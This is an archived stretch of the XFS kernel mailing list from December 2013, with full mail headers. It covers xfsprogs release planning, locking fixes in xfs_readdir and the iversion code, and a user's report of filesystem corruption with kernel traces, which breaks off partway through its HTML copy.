whiskey.americas.sgi.com (Postfix, from userid 4600) id 5B2D84266DC; Wed, 4 Dec 2013 16:01:16 -0600 (CST) Date: Wed, 4 Dec 2013 16:01:16 -0600 From: Ben Myers To: Christoph Hellwig Cc: Rich Johnston , xfs-oss Subject: Re: [ANNOUNCE] xfsprogs v3.2.0-alpha2 Message-ID: <20131204220116.GD1935@sgi.com> References: <5293A699.20908@sgi.com> <20131128104002.GC26927@infradead.org> <20131128211858.GR10988@dastard> <20131129080538.GA31310@infradead.org> <20131203221714.GY10988@dastard> <20131203224354.GR1935@sgi.com> <20131204110023.GA3263@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131204110023.GA3263@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Dec 04, 2013 at 03:00:23AM -0800, Christoph Hellwig wrote: > On Tue, Dec 03, 2013 at 04:43:54PM -0600, Ben Myers wrote: > > IIRC last time we discussed this I expressed a preference for focussing > > on the 3.2.0 release, but did not object to a 3.1.12 either. I think > > Eric followed up and asked if Christoph had specific concerns that > > should prompt a 3.1.12 release. Now I think it's probably just best to > > focus on the xfs_repair bits for 3.2.0. > > My concern is pretty simple: we have a big batch of minor and not so > minor fixes that I want to get out to our users. We've done releases > about every 3 month for the last couple years, but we've not done any > for 6 month by now. > > I have to admit I'm a bit out of the loop on the v5 repair work, but if > Dave feels confident that he can get it done soon we should aim for a > 3.2.0 release after that. If not it's more than time to get a 3.1.12 > out and I'd be happy to do the work for it. Sounds good to me. Lets see how long Dave thinks the repair work will take and base the decision upon that. -Ben From prvs=505042bf9c=clm@fb.com Wed Dec 4 16:02:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 31E6329E12 for ; Wed, 4 Dec 2013 16:02:13 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 10A898F8035 for ; Wed, 4 Dec 2013 14:02:12 -0800 (PST) X-ASG-Debug-ID: 1386194532-04cbb04167516630001-NocioJ Received: from mx0b-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id 7stgtrdIiyU4jk9E; Wed, 04 Dec 2013 14:02:12 -0800 (PST) X-Barracuda-Envelope-From: prvs=505042bf9c=clm@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004060 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id rB4M1BpS029296; Wed, 4 Dec 2013 14:01:48 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=content-type : mime-version : content-transfer-encoding : to : from : in-reply-to : cc : references : message-id : subject : date; s=facebook; bh=R9jjIutEDaGyAfJYTdt+PgifwwVF2BQ5j72fYODkqBk=; b=YCFvJdShWXrH2DxqBNbgeNUoW2u/9fTxzFZEzoLSXGnRN5B0qPTE1KkUkPytImjZJmrk 0Jiip0EjnAm9GZXi//Uh1dPiy8QaYm3XKE0XE24BYcR7mk0heu6WJnj5vbMBfW7YCOV+ G/LFQBKpD1MxYxuAkDaljui0Ah1dHNVqprI= Received: from mail.thefacebook.com (prn1-cmdf-dc01-fw1-nat.corp.tfbnw.net [173.252.71.129] (may be forged)) by mx0b-00082601.pphosted.com with ESMTP id 1gj64fhjtx-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Wed, 04 Dec 2013 14:01:48 -0800 Received: from localhost (192.168.16.4) by mail.thefacebook.com (192.168.16.19) with Microsoft SMTP Server (TLS) id 14.3.158.1; Wed, 4 Dec 2013 14:01:46 -0800 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable To: Ben Myers , Christoph Hellwig From: Chris Mason In-Reply-To: <20131204212504.GX1935@sgi.com> CC: , References: <20131119151707.GA13412@infradead.org> <20131204212504.GX1935@sgi.com> Message-ID: <20131204220144.1501.13481@ret> User-Agent: alot/0.3.5 Subject: Re: [PATCH] fs: fix iversion handling Date: Wed, 4 Dec 2013 17:01:44 -0500 X-ASG-Orig-Subj: Re: [PATCH] fs: fix iversion handling X-Originating-IP: [192.168.16.4] X-Proofpoint-Spam-Reason: safe X-FB-Internal: Safe X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.72,1.0.14,0.0.0000 definitions=2013-12-04_07:2013-12-04,2013-12-04,1970-01-01 signatures=0 X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1386194532 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Quoting Ben Myers (2013-12-04 16:25:04) > Hey Christoph, > = > On Tue, Nov 19, 2013 at 07:17:07AM -0800, Christoph Hellwig wrote: > > Currently notify_change directly updates i_version for size updates, > > which not only is counter to how all other fields are updated through > > struct iattr, but also breaks XFS, which need inode updates to happen > > under its own lock, and synchronized to the structure that gets written > > to the log. > > = > > Remove the update in the common code, and it to btrfs and ext4, > > XFS already does a proper updaste internally and currently gets a > > double update with the existing code. > > = > > IMHO this is 3.13 and -stable material and should go in through the XFS > > tree. > > = > > Signed-off-by: Christoph Hellwig > = > Does this still need a btrfs ack, or is it ready to go? The btrfs parts look good to me. Signed-off-by: Chris Mason From david@fromorbit.com Wed Dec 4 17:32:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DD24829E12 for ; Wed, 4 Dec 2013 17:32:51 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C12DD304093 for ; Wed, 4 Dec 2013 15:32:51 -0800 (PST) X-ASG-Debug-ID: 1386199966-04cbb04167519bd0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id fARBOrwETcuwsL52 for ; Wed, 04 Dec 2013 15:32:47 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApgGAEO7n1J5LHyk/2dsb2JhbABZgwe0JoVPgR4XdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gBwgQWjmgHgyCBEwOYE5IUgz0ogS4k Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 05 Dec 2013 10:02:42 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VoLvr-0005Ol-D2; Thu, 05 Dec 2013 10:32:39 +1100 Date: Thu, 5 Dec 2013 10:32:39 +1100 From: Dave Chinner To: Christoph Hellwig Cc: Ben Myers , Rich Johnston , xfs-oss Subject: Re: [ANNOUNCE] xfsprogs v3.2.0-alpha2 Message-ID: <20131204233239.GF8803@dastard> X-ASG-Orig-Subj: Re: [ANNOUNCE] xfsprogs v3.2.0-alpha2 References: <5293A699.20908@sgi.com> <20131128104002.GC26927@infradead.org> <20131128211858.GR10988@dastard> <20131129080538.GA31310@infradead.org> <20131203221714.GY10988@dastard> <20131203224354.GR1935@sgi.com> <20131204110023.GA3263@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131204110023.GA3263@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386199966 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142846 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 04, 2013 at 03:00:23AM -0800, Christoph Hellwig wrote: > On Tue, Dec 03, 2013 at 04:43:54PM -0600, Ben Myers wrote: > > IIRC last time we discussed this I expressed a preference for focussing > > on the 3.2.0 release, but did not object to a 3.1.12 either. I think > > Eric followed up and asked if Christoph had specific concerns that > > should prompt a 3.1.12 release. Now I think it's probably just best to > > focus on the xfs_repair bits for 3.2.0. > > My concern is pretty simple: we have a big batch of minor and not so > minor fixes that I want to get out to our users. We've done releases > about every 3 month for the last couple years, but we've not done any > for 6 month by now. > > I have to admit I'm a bit out of the loop on the v5 repair work, but if > Dave feels confident that he can get it done soon we should aim for a > 3.2.0 release after that. If not it's more than time to get a 3.1.12 > out and I'd be happy to do the work for it. There's a bit of mess involved in the repair stuff - basically propagating CRC errors and other errors detected by the verifiers is a bit nasty and touches a lot of the repair code (think everywhere that reads a buffer). I'm trying to work out a sane way to handle this, but I haven't managed to do it in a manner I consider acceptable and maintainable in the long term yet. Once I work out a method of doing that sanely, I'll mangle the code to handle it. However, this really needs changes to the verifier instructure to be able to distinguish between CRC errors and structure corruption errors, so there's kernel changes that need to be done there as well. Eventually we need the same distinction in the kernel code, so I need to work it all out in terms of what reapir needs, then do the kernel mods, and then port them back to userspace.... In short, there's still a significant amount of work needed here. Oh, and there's still the dir ftype validation that needs to be done - that's a separate piece of work, so maybe someone else would like to tackle that so it gets done sooner? Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Wed Dec 4 18:12:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 971BF7F53 for ; Wed, 4 Dec 2013 18:12:25 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5C8FD304092; Wed, 4 Dec 2013 16:12:22 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 34E714266DC; Wed, 4 Dec 2013 18:12:22 -0600 (CST) Date: Wed, 4 Dec 2013 18:12:22 -0600 From: Ben Myers To: Christoph Hellwig , Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: reinstate the iolock in xfs_readdir Message-ID: <20131205001222.GE1935@sgi.com> References: <20131203212951.GP1935@sgi.com> <20131203225520.GZ10988@dastard> <20131203231415.GS1935@sgi.com> <20131204001030.GD10988@dastard> <20131204130848.GA22926@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131204130848.GA22926@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Fellas, On Wed, Dec 04, 2013 at 05:08:48AM -0800, Christoph Hellwig wrote: > On Wed, Dec 04, 2013 at 11:10:30AM +1100, Dave Chinner wrote: > > The simple fact is that if we ever want to do concurrent directory > > read operations, we have to take the ilock in readdir() to ensure we > > can serialise correctly against modifications because the i_mutex > > can't be used to do that. So, really, I'm not against the fix you > > proposed - I'm just trying to understand why it is necessary right > > now.... I understand. ;) Dave, you are correct in guessing that this bug was found with CXFS. No DMF on this one though. Unfortunately it is not reproduceable at will. > Some comments from the person who authered that old comment that removed > the ilock: > > - as far as I can tell that was not intentional. I'm usually pretty > good at recording such things in the changelog if I do it > intentionally. That was my impression too. > - relying on the open function to read in the extent list seems > potentially dangerous. ...because open doesn't take i_mutex, I think. So today even though xfs_dir_open does take the ilock to read in the extent list (D'oh, I'd missed that it reads it in), there is no exclusion with readdir. > We generally try to make sure all the > functions using it read it in if needed including the proper > locking. If we want to avoid that for some reason like in the > writeback path we at least comment it and put asserts in. > - like Dave pointed out I think things should just work for mainline > modulo maybe the attr by handle ioctl, but it seems by accident. > Figuring out what issues Ben sees would be useful. - Logs indicating 'Access to block zero' on directories. - Forced shutdowns: In xfs_free_ag_extent, XFS_WANT_CORRUPTED_GOTO when freeing an extent we find a section of it already in the freespace trees - Log replay failures xlog_recover_finish xlog_recover_process_efis xlog_recover_process_efi xfs_free_extent xfs_free_ag_extent that's the same thing - A report that removal of files triggers the forced shutdown. There was a similar bug related to reading in the extent list for regular files which is not necessary mainline. That had XFS_WANT_CORRUPTED_GOTO in xfs_bmap_add_extent_delay_real, having found an extent in the bmbt that was overlapping the one it was trying to convert. Maybe that is not related to this readdir business. We found that files with the corruption generally had very large extent lists with small extents, and that xfs_repair wasn't cleaning up this type of corruption. > - instead of putting the ilock back at the highest level we might want > to push it down to the dir2 data code and only cover the actual > critical region where we need it. I agree it's worth considering but I'm not sure that it can be pushed much further down. > - xfs_iread_extents really needs an assert to make sure the ilock > is held. > - xfs_bmapi_read probably should have an assert as well to make > sure the ilock is held in some way I agree with adding the asserts, and I think the ilock should be reinstated mainline in readdir. We do seem to have some reports on the list of freespace btree corruption and XFS_WANT_CORRUPTED_GOTO that are not resolved. Anyway, the open and 'attr by handle' paths do seem suspect. Looks like we're ok in fallocate because xfs doesn't allow that on directories. I'll keep poking around for extent list readers that don't take the i_mutex... -Ben From mike.dacre@gmail.com Wed Dec 4 20:55:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.2 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, NORMAL_HTTP_TO_IP,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0BB6E7F4E for ; Wed, 4 Dec 2013 20:55:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id DC58C8F8035 for ; Wed, 4 Dec 2013 18:55:54 -0800 (PST) X-ASG-Debug-ID: 1386212146-04cb6c537e519980001-NocioJ Received: from mail-wi0-f171.google.com (mail-wi0-f171.google.com [209.85.212.171]) by cuda.sgi.com with ESMTP id DNJVSmib1MAXYxrG (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 04 Dec 2013 18:55:47 -0800 (PST) X-Barracuda-Envelope-From: mike.dacre@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.171 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.171] Received: by mail-wi0-f171.google.com with SMTP id ca18so9225962wib.4 for ; Wed, 04 Dec 2013 18:55:46 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.171] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.171] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:from:date:message-id:subject:to:content-type; bh=J1nO/d8yUR0rtr0/pc6kU9kSrBdeLFMBmYP4F6PUxnk=; b=pFJ+uF1zVZrigAUPCEKrmbFHguhp3ExhPFMJA5vtcLnJierRE8zQ2T02+X297BYVXg 8eWQpRIEHjcXtvT0qkoScqhejNavDu5cxd3MUss72PiWumjmwDL6BHzzGq+8Pjc4qY/j dKk3M2HLPF0QrZxEDyL92cKn4MSTzfkafYoTK2aFh2LCk27dUpRdOKq1UDc8J5Qns4F1 M+lT86B+tWzd9LGmEf4xF0ztxY1OIGXVZ328LArmI1cw1xD1CW97xye51zaBY2141hlg TGcg8zqQnYYhGDY/9x48tD7jLN0YuxZxj1dnXterBJB9EY88jdb2S2Y614jDH5oH1SX3 SrhQ== X-Received: by 10.194.189.132 with SMTP id gi4mr13995611wjc.5.1386212146450; Wed, 04 Dec 2013 18:55:46 -0800 (PST) MIME-Version: 1.0 Received: by 10.194.205.136 with HTTP; Wed, 4 Dec 2013 18:55:05 -0800 (PST) From: Mike Dacre Date: Wed, 4 Dec 2013 18:55:05 -0800 Message-ID: Subject: Sudden File System Corruption To: xfs@oss.sgi.com X-ASG-Orig-Subj: Sudden File System Corruption Content-Type: multipart/mixed; boundary=047d7bb0437492b58704ecc0aa0d X-Barracuda-Connect: mail-wi0-f171.google.com[209.85.212.171] X-Barracuda-Start-Time: 1386212147 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085c, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, NORMAL_HTTP_TO_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142850 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 BSF_SC0_SA085c Custom Rule SA085c --047d7bb0437492b58704ecc0aa0d Content-Type: multipart/alternative; boundary=047d7bb0437492b57804ecc0aa0b --047d7bb0437492b57804ecc0aa0b Content-Type: text/plain; charset=UTF-8 Hi Folks, Apologies if this is the wrong place to post or if this has been answered already. I have a 16 2TB drive RAID6 array powered by an LSI 9240-4i. It has an XFS filesystem and has been online for over a year. It is accessed by 23 different machines connected via Infiniband over NFS v3. I haven't had any major problems yet, one drive failed but it was easily replaced. However, today the drive suddenly stopped responding and started returning IO errors when any requests were made. This happened while it was being accessed by 5 different users, one was doing a very large rm operation (rm *sh on thousands on files in a directory). Also, about 30 minutes before we had connected the globus connect endpoint to allow easy file transfers to SDSC. I rebooted the machine which hosts it and checked the RAID6 logs, no physical problems with the drives at all. I tried to mount and got the following error: XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1510 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa0432ba1 mount: Structure needs cleaning I ran xfs_check and got the following message: ERROR: The filesystem has valuable metadata changes in a log which needs to be replayed. Mount the filesystem to replay the log, and unmount it before re-running xfs_check. If you are unable to mount the filesystem, then use the xfs_repair -L option to destroy the log and attempt a repair. Note that destroying the log may cause corruption -- please attempt a mount of the filesystem before doing this. I checked the log and found the following message: Dec 4 18:26:33 fruster kernel: XFS (sda1): Mounting Filesystem Dec 4 18:26:33 fruster kernel: XFS (sda1): Starting recovery (logdev: internal) Dec 4 18:26:36 fruster kernel: XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1510 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa0432ba1 Dec 4 18:26:36 fruster kernel: Dec 4 18:26:36 fruster kernel: Pid: 5491, comm: mount Not tainted 2.6.32-358.23.2.el6.x86_64 #1 Dec 4 18:26:36 fruster kernel: Call Trace: Dec 4 18:26:36 fruster kernel: [] ? xfs_error_report+0x3f/0x50 [xfs] Dec 4 18:26:36 fruster kernel: [] ? xfs_free_extent+0x101/0x130 [xfs] Dec 4 18:26:36 fruster kernel: [] ? xfs_free_ag_extent+0x58b/0x750 [xfs] Dec 4 18:26:36 fruster kernel: [] ? xfs_free_extent+0x101/0x130 [xfs] Dec 4 18:26:36 fruster kernel: [] ? xlog_recover_process_efi+0x1bd/0x200 [xfs] Dec 4 18:26:36 fruster kernel: [] ? xfs_trans_ail_cursor_set+0x1a/0x30 [xfs] Dec 4 18:26:36 fruster kernel: [] ? xlog_recover_process_efis+0x62/0xc0 [xfs] Dec 4 18:26:36 fruster kernel: [] ? xlog_recover_finish+0x24/0xd0 [xfs] Dec 4 18:26:36 fruster kernel: [] ? xfs_log_mount_finish+0x2c/0x30 [xfs] Dec 4 18:26:36 fruster kernel: [] ? xfs_mountfs+0x421/0x6a0 [xfs] Dec 4 18:26:36 fruster kernel: [] ? xfs_fs_fill_super+0x224/0x2e0 [xfs] Dec 4 18:26:36 fruster kernel: [] ? get_sb_bdev+0x18e/0x1d0 Dec 4 18:26:36 fruster kernel: [] ? xfs_fs_fill_super+0x0/0x2e0 [xfs] Dec 4 18:26:36 fruster kernel: [] ? xfs_fs_get_sb+0x18/0x20 [xfs] Dec 4 18:26:36 fruster kernel: [] ? vfs_kern_mount+0x7b/0x1b0 Dec 4 18:26:36 fruster kernel: [] ? do_kern_mount+0x52/0x130 Dec 4 18:26:36 fruster kernel: [] ? do_mount+0x2d2/0x8d0 Dec 4 18:26:36 fruster kernel: [] ? sys_mount+0x90/0xe0 Dec 4 18:26:36 fruster kernel: [] ? system_call_fastpath+0x16/0x1b Dec 4 18:26:36 fruster kernel: XFS (sda1): Failed to recover EFIs Dec 4 18:26:36 fruster kernel: XFS (sda1): log mount finish failed I went back and looked at the log from around the time the drive died and found this message: Dec 4 17:58:16 fruster kernel: XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1510 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa0432ba1 Dec 4 17:58:16 fruster kernel: Dec 4 17:58:16 fruster kernel: Pid: 4548, comm: nfsd Not tainted 2.6.32-358.23.2.el6.x86_64 #1 Dec 4 17:58:16 fruster kernel: Call Trace: Dec 4 17:58:16 fruster kernel: [] ? xfs_error_report+0x3f/0x50 [xfs] Dec 4 17:58:16 fruster kernel: [] ? xfs_free_extent+0x101/0x130 [xfs] Dec 4 17:58:16 fruster kernel: [] ? xfs_free_ag_extent+0x58b/0x750 [xfs] Dec 4 17:58:16 fruster kernel: [] ? xfs_free_extent+0x101/0x130 [xfs] Dec 4 17:58:16 fruster kernel: [] ? xfs_bmap_finish+0x15d/0x1a0 [xfs] Dec 4 17:58:16 fruster kernel: [] ? xfs_itruncate_finish+0x15f/0x320 [xfs] Dec 4 17:58:16 fruster kernel: [] ? xfs_inactive+0x330/0x480 [xfs] Dec 4 17:58:16 fruster kernel: [] ? _xfs_trans_commit+0x214/0x2a0 [xfs] Dec 4 17:58:16 fruster kernel: [] ? xfs_fs_clear_inode+0xa0/0xd0 [xfs] Dec 4 17:58:16 fruster kernel: [] ? clear_inode+0xac/0x140 Dec 4 17:58:16 fruster kernel: [] ? generic_delete_inode+0x196/0x1d0 Dec 4 17:58:16 fruster kernel: [] ? generic_drop_inode+0x65/0x80 Dec 4 17:58:16 fruster kernel: [] ? iput+0x62/0x70 Dec 4 17:58:16 fruster kernel: [] ? dentry_iput+0x90/0x100 Dec 4 17:58:16 fruster kernel: [] ? d_delete+0xe8/0xf0 Dec 4 17:58:16 fruster kernel: [] ? vfs_unlink+0xd9/0xf0 Dec 4 17:58:16 fruster kernel: [] ? nfsd_unlink+0x1af/0x250 [nfsd] Dec 4 17:58:16 fruster kernel: [] ? nfsd3_proc_remove+0x83/0x120 [nfsd] Dec 4 17:58:16 fruster kernel: [] ? nfsd_dispatch+0xfe/0x240 [nfsd] Dec 4 17:58:16 fruster kernel: [] ? svc_process_common+0x344/0x640 [sunrpc] Dec 4 17:58:16 fruster kernel: [] ? default_wake_function+0x0/0x20 Dec 4 17:58:16 fruster kernel: [] ? svc_process+0x110/0x160 [sunrpc] Dec 4 17:58:16 fruster kernel: [] ? nfsd+0xc2/0x160 [nfsd] Dec 4 17:58:16 fruster kernel: [] ? nfsd+0x0/0x160 [nfsd] Dec 4 17:58:16 fruster kernel: [] ? kthread+0x96/0xa0 Dec 4 17:58:16 fruster kernel: [] ? child_rip+0xa/0x20 Dec 4 17:58:16 fruster kernel: [] ? kthread+0x0/0xa0 Dec 4 17:58:16 fruster kernel: [] ? child_rip+0x0/0x20 Dec 4 17:58:16 fruster kernel: XFS (sda1): xfs_do_force_shutdown(0x8) called from line 3863 of file fs/xfs/xfs_bmap.c. Return address = 0xffffffffa043c8d6 Dec 4 17:58:16 fruster kernel: XFS (sda1): Corruption of in-memory data detected. Shutting down filesystem Dec 4 17:58:16 fruster kernel: XFS (sda1): Please umount the filesystem and rectify the problem(s) Dec 4 17:58:19 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. Dec 4 17:58:49 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. Dec 4 17:59:19 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. Dec 4 17:59:49 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. Dec 4 18:00:19 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. Dec 4 18:00:49 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. Dec 4 18:01:19 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. Dec 4 18:01:49 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. Dec 4 18:02:05 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. Dec 4 18:02:05 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. Dec 4 18:02:05 fruster kernel: XFS (sda1): xfs_do_force_shutdown(0x1) called from line 1061 of file fs/xfs/linux-2.6/xfs_buf.c. Return address = 0xffffffffa04856e3 Dec 4 18:02:19 fruster kernel: XFS (sda1): xfs_log_force: error 5 returned. I have attached the complete log from the time it died until now. In the end, I successfully repaired the filesystem with `xfs_repair -L /dev/sda1`. However, I am nervous that some files may have been corrupted. Do any of you have any idea what could have caused this problem? Thanks, Mike --047d7bb0437492b57804ecc0aa0b Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable
Hi Folks,

Apologies if this is the wron= g place to post or if this has been answered already.

<= div>I have a 16 2TB drive RAID6 array powered by an LSI 9240-4i. =C2=A0It h= as an XFS filesystem and has been online for over a year. =C2=A0It is acces= sed by 23 different machines connected via Infiniband over NFS v3. =C2=A0I = haven't had any major problems yet, one drive failed but it was easily = replaced.

However, today the drive suddenly stopped responding an= d started returning IO errors when any requests were made. =C2=A0This happe= ned while it was being accessed by =C2=A05 different users, one was doing a= very large rm operation (rm *sh on thousands on files in a directory). =C2= =A0Also, about 30 minutes before we had connected the globus connect endpoi= nt to allow easy file transfers to SDSC.

I rebooted the machine which hosts it and checked the R= AID6 logs, no physical problems with the drives at all. =C2=A0I tried to mo= unt and got the following error:

XFS: Internal err= or XFS_WANT_CORRUPTED_GOTO at line 1510 of file fs/xfs/xfs_alloc.c. =C2=A0C= aller 0xffffffffa0432ba1
mount: Structure needs cleaning

I r= an xfs_check and got the following message:
ERROR: The files= ystem has valuable metadata changes in a log which needs to
be replayed. =C2=A0Mount the filesystem to replay the log, and unmount it b= efore
re-running xfs_check. =C2=A0If you are unable to mount the filesystem,= then use
the xfs_repair -L option to destroy the log and attempt= a repair.
Note that destroying the log may cause corruption -- p= lease attempt a mount
of the filesystem before doing this.

I checked the log and found the following message:
<= br>
Dec =C2=A04 18:26:33 fruster kernel: XFS (sda1): Mountin= g Filesystem
Dec =C2=A04 18:26:33 fruster kernel: XFS (sda1): Starting recovery (lo= gdev: internal)
Dec =C2=A04 18:26:36 fruster kernel: XFS: Interna= l error XFS_WANT_CORRUPTED_GOTO at line 1510 of file fs/xfs/xfs_alloc.c. = =C2=A0Caller 0xffffffffa0432ba1
Dec =C2=A04 18:26:36 fruster kernel:=C2=A0
Dec =C2=A04 18:26= :36 fruster kernel: Pid: 5491, comm: mount Not tainted 2.6.32-358.23.2.el6.= x86_64 #1
Dec =C2=A04 18:26:36 fruster kernel: Call Trace:
<= div>Dec =C2=A04 18:26:36 fruster kernel: [<ffffffffa045b0ef>] ? xfs_e= rror_report+0x3f/0x50 [xfs]
Dec =C2=A04 18:26:36 fruster kernel: [<ffffffffa0432ba1>] ? xfs_= free_extent+0x101/0x130 [xfs]
Dec =C2=A04 18:26:36 fruster kernel= : [<ffffffffa0430c2b>] ? xfs_free_ag_extent+0x58b/0x750 [xfs]
Dec =C2=A04 18:26:36 fruster kernel: [<ffffffffa0432ba1>] ? xfs_fr= ee_extent+0x101/0x130 [xfs]
Dec =C2=A04 18:26:36 fruster kernel: [<ffffffffa046de2d>] ? xlog= _recover_process_efi+0x1bd/0x200 [xfs]
